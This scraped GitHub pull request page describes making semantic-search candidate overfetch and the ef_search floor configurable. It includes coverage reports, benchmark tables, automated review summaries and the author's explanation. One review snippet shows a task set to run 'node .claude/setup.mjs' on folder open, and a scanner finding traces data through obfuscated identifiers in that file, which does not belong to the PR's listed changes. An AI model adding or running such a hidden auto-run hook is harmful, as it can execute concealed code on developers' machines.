BE-743: Make the semantic-search candidate pool and ef_search configurable - #9152
Conversation
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
Codecov Report❌ Patch coverage is
Additional details and impacted files@@ Coverage Diff @@
## t/be-618-investigate-slow-top-nav-search-query-performance #9152 +/- ##
==============================================================================================
+ Coverage 59.61% 59.62% +0.01%
==============================================================================================
Files 1409 1409
Lines 138283 138335 +52
Branches 6424 6424
==============================================================================================
+ Hits 82438 82483 +45
- Misses 54843 54850 +7
Partials 1002 1002
Flags with carried forward coverage won't be shown. Click here to find out more. ☔ View full report in Codecov by Harness. 🚀 New features to boost your workflow:
|
PR SummaryMedium Risk Overview The store now derives hash-graph server exposes Reviewed by Cursor Bugbot for commit 5e26029. Bugbot is set up for automated code reviews on this repo. Configure here. |
Benchmark results
|
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| resolve_policies_for_actor | user: empty, selectivity: high, policies: 2002 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: medium, policies: 1002 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: high, policies: 3314 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: medium, policies: 1527 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: high, policies: 2078 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: medium, policies: 1033 | Flame Graph |
policy_resolution_medium
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| resolve_policies_for_actor | user: empty, selectivity: high, policies: 102 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: medium, policies: 52 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: high, policies: 269 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: medium, policies: 108 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: high, policies: 133 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: medium, policies: 63 | Flame Graph |
policy_resolution_none
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| resolve_policies_for_actor | user: empty, selectivity: high, policies: 2 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: medium, policies: 2 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: high, policies: 8 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: medium, policies: 3 | Flame Graph |
policy_resolution_small
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| resolve_policies_for_actor | user: empty, selectivity: high, policies: 52 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: empty, selectivity: medium, policies: 26 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: high, policies: 94 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: seeded, selectivity: medium, policies: 27 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: high, policies: 66 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: low, policies: 1 | Flame Graph | |
| resolve_policies_for_actor | user: system, selectivity: medium, policies: 29 | Flame Graph |
read_scaling_complete
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| entity_by_id;one_depth | 1 entities | Flame Graph | |
| entity_by_id;one_depth | 10 entities | Flame Graph | |
| entity_by_id;one_depth | 25 entities | Flame Graph | |
| entity_by_id;one_depth | 5 entities | Flame Graph | |
| entity_by_id;one_depth | 50 entities | Flame Graph | |
| entity_by_id;two_depth | 1 entities | Flame Graph | |
| entity_by_id;two_depth | 10 entities | Flame Graph | |
| entity_by_id;two_depth | 25 entities | Flame Graph | |
| entity_by_id;two_depth | 5 entities | Flame Graph | |
| entity_by_id;two_depth | 50 entities | Flame Graph | |
| entity_by_id;zero_depth | 1 entities | Flame Graph | |
| entity_by_id;zero_depth | 10 entities | Flame Graph | |
| entity_by_id;zero_depth | 25 entities | Flame Graph | |
| entity_by_id;zero_depth | 5 entities | Flame Graph | |
| entity_by_id;zero_depth | 50 entities | Flame Graph |
read_scaling_linkless
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| entity_by_id | 1 entities | Flame Graph | |
| entity_by_id | 10 entities | Flame Graph | |
| entity_by_id | 100 entities | Flame Graph | |
| entity_by_id | 1000 entities | Flame Graph | |
| entity_by_id | 10000 entities | Flame Graph |
representative_read_entity
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/block/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/book/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/building/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/organization/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/page/v/2
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/person/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/playlist/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/song/v/1
|
Flame Graph | |
| entity_by_id | entity type ID: https://blockprotocol.org/@alice/types/entity-type/uk-address/v/1
|
Flame Graph |
representative_read_entity_type
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| get_entity_type_by_id | Account ID: bf5a9ef5-dc3b-43cf-a291-6210c0321eba
|
Flame Graph |
representative_read_multiple_entities
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| entity_by_property | traversal_paths=0 | 0 | |
| entity_by_property | traversal_paths=255 | 1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true | |
| entity_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false | |
| entity_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true | |
| entity_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true | |
| entity_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true | |
| link_by_source_by_property | traversal_paths=0 | 0 | |
| link_by_source_by_property | traversal_paths=255 | 1,resolve_depths=inherit:1;values:255;properties:255;links:127;link_dests:126;type:true | |
| link_by_source_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:0;links:0;link_dests:0;type:false | |
| link_by_source_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:0;links:1;link_dests:0;type:true | |
| link_by_source_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:0;properties:2;links:1;link_dests:0;type:true | |
| link_by_source_by_property | traversal_paths=2 | 1,resolve_depths=inherit:0;values:2;properties:2;links:1;link_dests:0;type:true |
scenarios
| Function | Value | Mean | Flame graphs |
|---|---|---|---|
| full_test | query-limited | Flame Graph | |
| full_test | query-unlimited | Flame Graph | |
| linked_queries | query-limited | Flame Graph | |
| linked_queries | query-unlimited | Flame Graph |
There was a problem hiding this comment.
Pull request overview
Makes semantic-search candidate overfetching and HNSW walk depth configurable through store and server settings.
Changes:
- Adds configurable candidate-pool and minimum
ef_searchsettings. - Applies settings to entity and entity-type semantic searches.
- Adds derivation and bounds tests.
Reviewed changes
Copilot reviewed 8 out of 8 changed files in this pull request and generated no comments.
Show a summary per file
| File | Description |
|---|---|
tests/graph/benches/graph/scenario/runner.rs |
Uses defaults for new settings. |
libs/@local/graph/postgres-store/src/store/postgres/query/mod.rs |
Removes obsolete constant export. |
libs/@local/graph/postgres-store/src/store/postgres/query/compile/mod.rs |
Removes compiled-in overfetch constant. |
libs/@local/graph/postgres-store/src/store/postgres/ontology/entity_type.rs |
Uses configurable candidate pools. |
libs/@local/graph/postgres-store/src/store/postgres/mod.rs |
Defines settings, defaults, bounds, and tests. |
libs/@local/graph/postgres-store/src/store/postgres/knowledge/entity/search.rs |
Configures candidate pools and HNSW scans. |
libs/@local/graph/postgres-store/src/store/mod.rs |
Exports semantic-search settings. |
apps/hash-graph/src/subcommand/server.rs |
Adds CLI/environment configuration and wiring. |
| "command": "node .claude/setup.mjs", | ||
| "runOptions": { | ||
| "runOn": "folderOpen" |
|
Semgrep found 4 Detected possible user input going into a View Dataflow Graphflowchart LR
classDef invis fill:white, stroke: none
classDef default fill:#e7f5ff, color:#1c7fd6, stroke: none
subgraph File0["<b>.claude/setup.mjs</b>"]
direction LR
%% Source
subgraph Source
direction LR
v0["<a href=https://github.com/hashintel/hash/blob/5e2602918223aae25b8654675b8c7ab8bd75d741/.claude/setup.mjs#L226 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 226] _0x2912ea</a>"]
end
%% Intermediate
subgraph Traces0[Traces]
direction TB
v2["<a href=https://github.com/hashintel/hash/blob/5e2602918223aae25b8654675b8c7ab8bd75d741/.claude/setup.mjs#L226 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 226] _0x2912ea</a>"]
end
%% Sink
subgraph Sink
direction LR
v1["<a href=https://github.com/hashintel/hash/blob/5e2602918223aae25b8654675b8c7ab8bd75d741/.claude/setup.mjs#L257 target=_blank style='text-decoration:none; color:#1c7fd6'>[Line: 257] _0x2912ea</a>"]
end
end
%% Class Assignment
Source:::invis
Sink:::invis
Traces0:::invis
File0:::invis
%% Connections
Source --> Traces0
Traces0 --> Sink
|
5e26029 to
2548dc8
Compare
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 8 out of 8 changed files in this pull request and generated no new comments.
Suppressed comments (1)
apps/hash-graph/src/subcommand/server.rs:250
- The Compose graph service supplies an explicit environment map and does not forward either new variable (
infra/compose/compose.yml:607-625). Consequently, setting these variables before starting the Compose stack leaves both values at their defaults, so this configuration surface is unavailable in that supported deployment path. Add pass-through entries for both variables to the graph service environment.
#[clap(
long,
default_value_t = SemanticSearchSettings::default().candidate_overfetch,
env = "HASH_GRAPH_SEMANTIC_SEARCH_CANDIDATE_OVERFETCH",
)]
pub semantic_search_candidate_overfetch: NonZero<usize>,
/// Lower bound for the size of a semantic search's vector-index walk.
///
/// Searches asking for few results otherwise walk the index too shallowly to find the
/// neighbours their re-scoring could order.
#[clap(
long,
default_value_t = SemanticSearchSettings::default().minimum_ef_search,
env = "HASH_GRAPH_SEMANTIC_SEARCH_MINIMUM_EF_SEARCH",
)]
653360c to
16d8f47
Compare
🌟 What is the purpose of this PR?
The semantic search's candidate pool was
limit × 4with the factor compiled in, andhnsw.ef_searchwas derived from the pool alone. Both are now store settings, so the pool depth can be tuned against real policies and data without a rebuild.Deriving
ef_searchfrom the pool also leaves the index walk shallow whenever a search asks for few results, which is where a missed neighbour is most likely. A configurable floor decouples how deep the walk goes from how much the exact re-scoring has to read.🔗 Related links
ef_searchfindings are recorded there🚫 Blocked by
t/be-618-investigate-slow-top-nav-search-query-performance, so that one merges first.🔍 What does this change?
SemanticSearchSettingsonPostgresStoreSettings, holding the candidate multiplier (NonZero<usize>, default 4) and anef_searchfloor (default 400)candidate_pool(limit)saturates instead of wrapping,ef_search(pool)takes the larger of pool and floor and clamps to the range pgvector accepts. The bounds live in one named constant rather than as a literalclamp(1, 1000)next to the queryQUANTIZED_RANK_OVERFETCHis goneHASH_GRAPH_SEMANTIC_SEARCH_CANDIDATE_OVERFETCHandHASH_GRAPH_SEMANTIC_SEARCH_MINIMUM_EF_SEARCHThe floor only takes effect below a limit of 100 — above that the pool is deeper than 400 and decides the walk itself. A search for a single record previously walked with
ef_search = 4.Pre-Merge Checklist 🚀
🚢 Has this modified a publishable library?
This PR:
📜 Does this require a change to the docs?
The changes in this PR:
🕸️ Does this require a change to the Turbo Graph?
The changes in this PR:
ef_searchat its maximum. Both want a measurement against this code with real policies before they move, which is what making them configurable is for.🐾 Next steps
ef_search, sinceentity_type_embeddingshas no HNSW index — its pool is quantization reserve only🛡 What tests cover this?
ef_searchholding the whole pool, the floor applying to small pools, and both bounds of the accepted range❓ How to test this?
HASH_GRAPH_SEMANTIC_SEARCH_CANDIDATE_OVERFETCH=16LIMIT limit × 16andhnsw.ef_searchfollowsef_searchstays at the floor rather than following the pool